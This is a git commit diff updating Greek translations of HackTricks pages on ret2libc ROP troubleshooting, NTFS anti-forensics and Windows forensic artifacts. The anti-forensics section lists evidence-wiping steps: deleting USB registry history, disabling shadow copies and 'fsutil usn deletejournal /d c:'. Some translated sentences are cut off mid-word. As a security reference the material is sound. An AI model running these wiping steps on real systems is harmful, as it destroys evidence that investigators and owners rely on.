Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/

This commit is contained in:
Translator 2024-05-02 15:56:18 +00:00
parent 7cf14fec14
commit cd0542c2f1
37 changed files with 1000 additions and 957 deletions

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε AWS χάκινγκ από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -206,7 +206,7 @@ P.interactive() #Interact with your shell :)
## Συνηθισμένα προβλήματα
### MAIN_PLT = elf.symbols\['main'] δεν βρέθηκε
### MAIN\_PLT = το elf.symbols\['main'] δεν βρέθηκε
Αν το σύμβολο "main" δεν υπάρχει (πιθανότατα λόγω του ότι πρόκειται για ένα απογυμνωμένο δυαδικό αρχείο). Τότε μπορείτε απλά να βρείτε πού βρίσκεται ο κώδικας του main:
```python
@ -218,19 +218,19 @@ Disassembly of section .text:
```python
MAIN_PLT = 0x401080
```
### Η συνάρτηση Puts δεν βρέθηκε
### Δεν βρέθηκε η συνάρτηση Puts
Αν το δυαδικό αρχείο δεν χρησιμοποιεί τη συνάρτηση Puts, πρέπει **να ελέγξετε αν χρησιμοποιεί**
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
Αν εντοπίσετε αυτό το **σφάλμα** μετά τη δημιουργία **όλου** του exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Αν εμφανιστεί αυτό το **σφάλμα** μετά τη δημιουργία **όλου** του exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Προσπαθήστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -243,7 +243,7 @@ BINSH = next(libc.search("/bin/sh")) - 64
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.

View file

@ -1,10 +1,10 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
@ -12,7 +12,7 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -20,7 +20,7 @@
# Χρονικά σημεία
Ένας εισβολέας μπορεί να ενδιαφέρεται να **αλλάξει τα χρονικά σημεία των αρχείων** για να αποφύγει την ανίχνευση.\
Είναι δυνατόν να βρείτε τα χρονικά σημεία μέσα στο MFT στα χαρακτηριστικά `$STANDARD_INFORMATION` __ και __ `$FILE_NAME`.
Είναι δυνατόν να βρεθούν τα χρονικά σημεία μέσα στο MFT στα χαρακτηριστικά `$STANDARD_INFORMATION` __ και __ `$FILE_NAME`.
Και τα δύο χαρακτηριστικά έχουν 4 χρονικά σημεία: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση καταχώρησης MFT** (MACE ή MACB).
@ -28,11 +28,11 @@
## TimeStomp - Εργαλείο Αντι-Φορενσικής
Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες χρονικών σημείων μέσα στο **`$STANDARD_INFORMATION`** **αλλά** **όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **αναγνωριστεί** **ύποπτη** **δραστηριότητα**.
Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες χρονικών σημείων μέσα στο **`$STANDARD_INFORMATION`** **αλλά όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **αναγνωριστεί** **ύποπτη** **δραστηριότητα**.
## Usnjrnl
Το **USN Journal** (Καταγραφή Αριθμού Ακολουθίας Ενημερώσεων) είναι μια λειτουργία του NTFS (σύστημα αρχείων Windows NT) που καταγράφει τις αλλαγές του όγκου. Το εργαλείο [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) επιτρέπει την εξέταση αυτών των αλλαγών.
Το **USN Journal** (Καταγραφή Αριθμού Ακολουθίας Ενημέρωσης) είναι μια λειτουργία του NTFS (σύστημα αρχείων Windows NT) που καταγράφει τις αλλαγές του όγκου. Το εργαλείο [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) επιτρέπει την εξέταση αυτών των αλλαγών.
![](<../../.gitbook/assets/image (449).png>)
@ -44,7 +44,7 @@
![](<../../.gitbook/assets/image (450).png>)
Ξανά, στην έξοδο του εργαλείου είναι δυνατόν να δείτε ότι **κάποιες αλλαγές πραγματοποιήθηκαν**.
Ξανά, στο αποτέλεσμα του εργαλείου είναι δυνατόν να δει κανείς ότι **κάποιες αλλαγές πραγματοποιήθηκαν**.
Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να αναγνωριστεί σε **ποια χρονική στιγμή τα χρονικά σημεία τροποποιήθηκαν**:
@ -57,11 +57,11 @@
## Σύγκριση `$STANDARD_INFORMATION` και `$FILE_NAME`
Ένας άλλος τρόπος για να αναγνωρίσετε ύποπτα τροποποιημένα αρχεία θα ήταν να συγκρίνετε το χρόνο σε και τα δύο χαρακτηριστικά ψάχνοντας για **αντικρουόμενα**.
Ένας άλλος τρόπος για να αναγνωριστούν ύποπτα τροποποιημένα αρχεία θα ήταν να συγκριθεί ο χρόνος σε και τα δύο χαρακτηριστικά ψάχνοντας για **αντικρουόμενα**.
## Νανοδευτερόλεπτα
Τα χρονικά σημεία του **NTFS** έχουν μια **ακρίβεια** των **100 νανοδευτερολέπτων**. Έτσι, το να βρείτε αρχεία με χρονικά σημεία όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτο**.
Τα χρονικά σημεία του **NTFS** έχουν μια **ακρίβεια** των **100 νανοδευτερολέπτων**. Έτσι, το να βρεθούν αρχεία με χρονικά σημεία όπως το 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτο**.
## SetMace - Εργαλείο Αντι-Φορενσικής
@ -75,16 +75,16 @@
![](<../../.gitbook/assets/image (452).png>)
Έτσι, είναι δυνατόν να ανακτήσετε τον χώρο ανάπαυσης χρησιμοποιώντας εργαλεία όπως το FTK Imager. Σημειώστε ότι αυτού του είδους το εργαλείο μπορεί να αποθηκεύσει το περιεχόμενο με κρυπτογράφηση ή ακόμη και κρυπτογράφηση.
Έτσι, είναι δυνατόν να ανακτηθεί ο χώρος ανάπαυσης χρησιμοποιώντας εργαλεία όπως το FTK Imager. Σημειώστε ότι αυτού του είδους το εργαλείο μπορεί να αποθηκεύσει το περιεχόμενο με κρυπτογράφηση ή ακόμη και κρυπτογράφηση.
# UsbKill
Αυτό είναι ένα εργαλείο που θα **κλείσει τον υπολογιστή αν ανιχνευθεί κάποια αλλαγή στις θύρες USB**.\
Ένας τρόπος να ανακαλύψετε αυτό θα ήταν να επιθεωρήσετε τις εκτελούμενες διεργασίες και **να ελέγξετε κάθε σενάριο python που εκτελείται**.
Ένας τρόπος για να ανακαλύψετε αυτό θα ήταν να επιθεωρήσετε τις εκτελούμενες διεργασίες και **να ελέγξετε κάθε σενάριο python που εκτελείται**.
# Διανομές Live Linux
Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι προσαρτημένο με δικαιώματα εγγραφής**. Αν προσαρτηθεί μόνο με δικαιώματα ανάγνωσης δεν θα είναι δυνατή η ανίχνευση της εισβολής.
Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος για να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι προσαρτημένο με δικαιώματα εγγραφής**. Αν προσαρτηθεί μόνο με δικαιώματα ανάγνωσης δεν θα είναι δυνατή η ανίχνευση της εισβολής.
# Ασφαλής Διαγραφή
@ -92,13 +92,11 @@
# Ρύθμιση Windows
Είναι δυνατόν να απενεργοποιήσετε αρκετές μεθόδους καταγραφής των Windows για να κάνετε την έρευνα φορενσικής πολύ πιο δύσκολη.
## Απενεργοποίηση Χρονικών Ση
Είναι δυνατόν να απενεργοποιήσετε αρκετές μεθόδους καταγραφής των Windows για να κάνετε την έρευνα φορενσικής πολύ πιο
## Διαγραφή Ιστορικού USB
Όλες οι **Καταχωρήσεις Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows υπό το κλειδί **USBSTOR** που περιέχει υπο-κλειδιά που δημιουργούνται κάθε φορά που συνδέετε μια Συσκευή USB στον Υπολογιστή ή το Laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας** αυτό θα διαγράψετε το ιστορικό USB.\
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) για να είστε σίγουροι ότι τα έχετε διαγράψει (και για να τα διαγράψετε).
Όλες οι **Καταχωρήσεις Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows υπό το κλειδί **USBSTOR** που περιέχει υπο-κλειδιά τα οποία δημιουργούνται κάθε φορά που συνδέετε μια Συσκευή USB στο PC ή Laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας** αυτό θα διαγράψετε το ιστορικό USB.\
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) για να είστε σίγουροι ότι τα έχετε διαγράψει (και για να τα διαγράψετε).
Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τα USBs είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό πρέπει επίσης να διαγραφεί.
@ -111,7 +109,7 @@
Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Ανοίξτε το πρόγραμμα Υπηρεσιών πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά το κλικ στο κουμπί εκκίνησης των Windows.
1. Ανοίξτε το πρόγραμμα Υπηρεσίες πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά το κλικ στο κουμπί εκκίνησης των Windows.
2. Από τη λίστα, βρείτε το "Volume Shadow Copy", επιλέξτε το και στη συνέχεια αποκτήστε πρόσβαση στις ιδιότητες κάνοντας δεξί κλικ.
3. Επιλέξτε το Disabled από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και στη συνέχεια επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και ΟΚ.
@ -138,6 +136,6 @@
* `fsutil usn deletejournal /d c:`
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -4,7 +4,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -16,7 +16,7 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -36,13 +36,13 @@
### ADS (Εναλλακτικά Ρεύματα Δεδομένων)
Τα αρχεία που λήφθηκαν μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** λήφθηκε από το εσωτερικό δίκτυο, το internet κλπ. Κάποιο λογισμικό (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες πληροφορίες** όπως η **URL** από όπου λήφθηκε το αρχείο.
Τα αρχεία που λήφθηκαν μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** λήφθηκε από το εσωτερικό δίκτυο, το internet, κλπ. Κάποιο λογισμικό (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες πληροφορίες** όπως η **διεύθυνση URL** από όπου λήφθηκε το αρχείο.
## **Αντίγραφα Ασφαλείας Αρχείων**
### Κάδος Ανακύκλωσης
Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** βρίσκεται στον φάκελο **`$Recycle.bin`** στη ρίζα του δίσκου (`C:\$Recycle.bin`).\
Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** μπορεί να βρεθεί στον φάκελο **`$Recycle.bin`** στη ρίζα του δίσκου (`C:\$Recycle.bin`).\
Όταν ένα αρχείο διαγράφεται σε αυτόν τον φάκελο δημιουργούνται 2 συγκεκριμένα αρχεία:
* `$I{id}`: Πληροφορίες αρχείου (ημερομηνία διαγραφής}
@ -60,7 +60,7 @@
Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει αντίγραφα ασφαλείας ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμα και όταν χρησιμοποιούνται.
Αυτά τα αντίγραφα ασφαλείας συνήθως βρίσκονται στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομά τους αποτελείται από **UIDs** που φαίνονται στην παρακάτω εικόνα:
Αυτά τα αντίγραφα ασφαλείας βρίσκονται συνήθως στον φάκελο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομά τους αποτελείται από τα **UIDs** που φαίνονται στην παρακάτω εικόνα:
![](<../../../.gitbook/assets/image (520).png>)
@ -80,7 +80,7 @@
## Στοιχεία Κελιών
Ένα στοιχείο κελιού είναι ένα στοιχείο που περιέχει πληροφορίες για το πώς να έχετε πρόσβαση σε ένα άλλο αρχείο.
Ένα στοιχείο κελιού είναι ένα στοιχείο που περιέχει πληροφορίες σχετικά με το πώς να έχετε πρόσβαση σε ένα άλλο αρχείο.
### Πρόσφατα Έγγραφα (LNK)
@ -89,11 +89,11 @@
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης μια σύνδεση στον φάκελο, στον γονικό φάκελο και στον προγονικό φάκελο.
Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης μια σύνδεση με τον φάκελο, με τον γονικό φάκελο και τον προγονικό φάκελο.
Αυτά τα αρχεία συντομεύσεων που δημιουργούνται αυτόματα περιέχουν πληροφορίες σχετικά με την προέλευση, όπως αν είναι **αρχείο** **ή** φάκελος, **χρόνοι MAC** του αρχείου αυτού, **πληροφορίες όγκου** για το πού αποθηκεύεται το αρχείο και **φάκελος του αρχείου-στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που διαγραφούν.
Αυτά τα αρχεία συντομεύσεων που δημιουργούνται αυτόματα περιέχουν πληροφορίες σχετικά με την προέλευση, όπως αν είναι **αρχείο** **ή** φάκελος, **χρόνοι MAC** του αρχείου αυτού, **πληροφορίες όγκου** όπου αποθηκεύεται το αρχείο και **φάκελος του αρχείου-στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που αφαιρεθούν.
Επίσης, η **ημερομηνία δημιουργίας της σύνδεσης** αρχείου είναι η πρώτη **φορά** που το αρχικό αρχείο **χρησιμοποιήθηκε** και η **ημερομηνία τροποποίησης** της σύνδεσης αρχείου είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
Επίσης, η **ημερομηνία δημιουργίας της σύνδεσης** είναι η πρώτη **φορά** που το αρχικό αρχείο **χρησιμοποιήθηκε** και η **ημερομηνία τροποποίησης** της σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο.
Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το [**LinkParser**](http://4discovery.com/our-tools/).
@ -116,11 +116,11 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
### Jumplists
Αυτά είναι τα πρόσφατα αρχεία που εμφανίζονται ανά εφαρμογή. Είναι η λίστα με τα **πρόσφατα αρχεία που χρησιμοποιήθηκαν από μια εφαρμογή** στην οποία μπορείτε να έχετε πρόσβαση. Μπορεί να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**.
Αυτά είναι τα πρόσφατα αρχεία που εμφανίζονται ανά εφαρμογή. Είναι η λίστα με τα **πρόσφατα αρχεία που χρησιμοποιήθηκαν από μια εφαρμογή** στην οποία μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορεί να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**.
Τα **jumplists** που δημιουργούνται αυτόματα αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Τα jumplists ονομάζονται με τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής.
Τα **jumplists** που δημιουργούνται αυτόματα αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Τα jumplists έχουν ονόματα που ακολουθούν τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής.
Τα προσαρμοσμένα jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή κάτι **σημαντικό** συνέβη με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο).
Τα προσαρμοσμένα jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται συνήθως από την εφαρμογή επειδή κάτι **σημαντικό** συνέβη με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο).
Ο **χρόνος δημιουργίας** οποιουδήποτε jumplist υποδεικνύει την **πρώτη φορά που ανακτήθηκε το αρχείο** και ο **χρόνος τροποποίησης την τελευταία φορά**.
@ -142,25 +142,25 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
* Φακέλου Microsoft Office Recent
* Jumplists
Σημειώστε ότι ορισμένα αρχεία LNK αντί να δείχνουν στην αρχική διαδρομή, δείχνουν στον φάκελο WPDNSE:
Σημειώστε ότι μερικά αρχεία LNK αντί να δείχνουν στην αρχική διαδρομή, δείχνουν στον φάκελο WPDNSE:
![](<../../../.gitbook/assets/image (476).png>)
Τα αρχεία στον φάκελο WPDNSE είναι αντίγραφα των πρωτότυπων, οπότε δεν επιβιώνουν μετά από επανεκκίνηση του υπολογιστή και το GUID προέρχεται από ένα shellbag.
Τα αρχεία στον φάκελο WPDNSE είναι αντίγραφα των πρωτότυπων, οπότε δεν επιβιώνουν μετά από επανεκκίνηση του Η/Υ και το GUID προέρχεται από ένα shellbag.
### Πληροφορίες Μητρώου
[Ελέγξτε αυτήν τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με συνδεδεμένες συσκευές USB.
[Ελέγξτε αυτήν τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια μητρώα περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με συνδεδεμένες συσκευές USB.
### setupapi
Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονικές σφραγίδες σχετικά με πότε παράχθηκε η σύνδεση USB (αναζητήστε το `Section start`).
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Detective
Το [**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να λάβετε πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα.
[**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να λάβετε πληροφορίες σχετικά με τις USB συσκευές που έχουν συνδεθεί σε μια εικόνα.
![](<../../../.gitbook/assets/image (483).png>)
@ -176,7 +176,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
**Βασικά Στοιχεία και Ρυθμίσεις της Εργασίας:**
- **pnpclean.dll**: Αυτή η DLL είναι υπεύθυνη για την πραγματική διαδικασία καθαρισμού.
- **UseUnifiedSchedulingEngine**: Ορίζεται σε `TRUE`, υποδεικνύοντας τη χρήση της γενικής μηχανής προγραμματισμού εργασιών.
- **UseUnifiedSchedulingEngine**: Ορίζεται σε `TRUE`, υποδηλώνοντας τη χρήση της γενικής μηχανής προγραμματισμού εργασιών.
- **MaintenanceSettings**:
- **Περίοδος ('P1M')**: Καθοδηγεί τον Προγραμματιστή Εργασιών να ξεκινήσει την εργασία καθαρισμού μηνιαία κατά τη διάρκεια της κανονικής αυτόματης συντήρησης.
- **Προθεσμία ('P2M')**: Οδηγεί τον Προγραμματιστή Εργασιών, αν η εργασία αποτύχει για δύο συνεχόμενους μήνες, να εκτελέσει την εργασία κατά τη διάρκεια επείγουσας αυτόματης συντήρησης.
@ -189,7 +189,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
Τα emails περιέχουν **2 ενδιαφέρουσες μερικές: Τα headers και το περιεχόμενο** του email. Στα **headers** μπορείτε να βρείτε πληροφορίες όπως:
* **Ποιος** έστειλε τα emails (διεύθυνση email, IP, διακομιστές email που έχουν ανακατευτεί στο email)
* **Ποιος** έστειλε τα emails (διεύθυνση email, IP, διακομιστές email που έχουν ανακατευτεί το email)
* **Πότε** αποστάλθηκε το email
Επίσης, μέσα στα headers `References` και `In-Reply-To` μπορείτε να βρείτε το ID των μηνυμάτων:
@ -211,10 +211,10 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
* `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν αποστάλθηκε το email
* `Mapi-Conversation-Index`: Αριθμός παιδιών μηνυμάτων του νήματος και χρονική σήμανση κάθε μηνύματος του νήματος
* `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος.
* `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με το MAPI client (
* `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά μ
### Αρχεία OST του Microsoft Outlook
Ένα **αρχείο OST** δημιουργείται από το Microsoft Outlook όταν ρυθμίζεται με **IMAP** ή έναν **διακομιστή Exchange**, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως ένα **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα αρχείο OST, μπορεί να χρησιμοποιηθεί το [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
